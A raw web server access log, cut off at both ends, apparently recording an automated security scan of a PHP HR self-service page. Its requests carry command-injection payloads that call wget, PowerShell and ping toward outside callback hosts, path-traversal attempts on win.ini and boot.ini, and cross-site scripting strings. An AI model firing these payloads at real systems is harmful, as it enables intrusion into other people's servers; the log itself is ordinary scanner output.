/ehr/ess/redirect.php?scriptname=findpasswd%26%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D257&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%26%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D257&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%26%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D257&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\windows\\win.ini%2500.html HTTP/1.1" 200 6787 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\windows\\win.ini%2500.html HTTP/1.1" 200 6787 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess/redirect.php?scriptname=C:\\winnt\\win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess/redirect.php?scriptname=C:\\winnt\\win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%26%26+ping+-c+1+v3-ping-258-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%26%26+ping+-c+1+v3-ping-258-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%26%26+ping+-c+1+v3-ping-258-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ab\"onmouseover=\"alert(18)\"ab HTTP/1.1" 200 6715 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ab\"onmouseover=\"alert(18)\"ab HTTP/1.1" 200 6715 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=C:\\winnt\\win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/redirect.php?scriptname=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/redirect.php?scriptname=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Cimg+src%3Djavascript%3Aalert%28259%29%3E HTTP/1.1" 200 6723 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Cimg+src%3Djavascript%3Aalert%28259%29%3E HTTP/1.1" 200 6723 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%60wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D260%60&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%60wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D260%60&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%60wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D260%60&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/redirect.php?scriptname=file:///../../../../../../../../../../../../windows/win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/redirect.php?scriptname=file:///../../../../../../../../../../../../windows/win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=file:///../../../../../../../../../../../../windows/win.ini%00.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini%00.html HTTP/1.1" 200 6736 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini%00.html HTTP/1.1" 200 6736 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%27Aablcprobepa00000Eab%27%22A HTTP/1.1" 200 6710 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%27Aablcprobepa00000Eab%27%22A HTTP/1.1" 200 6710 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/> HTTP/1.1" 200 6840 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:13 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/> HTTP/1.1" 200 6840 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess/redirect.php?scriptname=powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D262&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess/redirect.php?scriptname=powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D262&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D262&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/win.ini%00.html HTTP/1.1" 200 6741 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/win.ini%00.html HTTP/1.1" 200 6741 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%7C+ping+-c+1+v3-ping-263-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%7C+ping+-c+1+v3-ping-263-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:16 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%7C+ping+-c+1+v3-ping-263-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:16 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%27Aab%22onmouseover%3D%22alert%2819%29%22ab%27%22A HTTP/1.1" 200 6734 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%27Aab%22onmouseover%3D%22alert%2819%29%22ab%27%22A HTTP/1.1" 200 6734 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/redirect.php?scriptname=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/redirect.php?scriptname=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%26%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D265&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%26%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D265&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%26%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D265&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/> HTTP/1.1" 200 6722 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/> HTTP/1.1" 200 6722 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/redirect.php?scriptname=C:\\windows\\win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/redirect.php?scriptname=C:\\windows\\win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=C:\\windows\\win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:16 +0800] "GET /ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:16 +0800] "GET /ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini%00.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini%00.html HTTP/1.1" 200 6743 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini%00.html HTTP/1.1" 200 6743 100.64.0.1 - - [05/Dec/2025:21:53:16 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:16 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:16 +0800] "GET 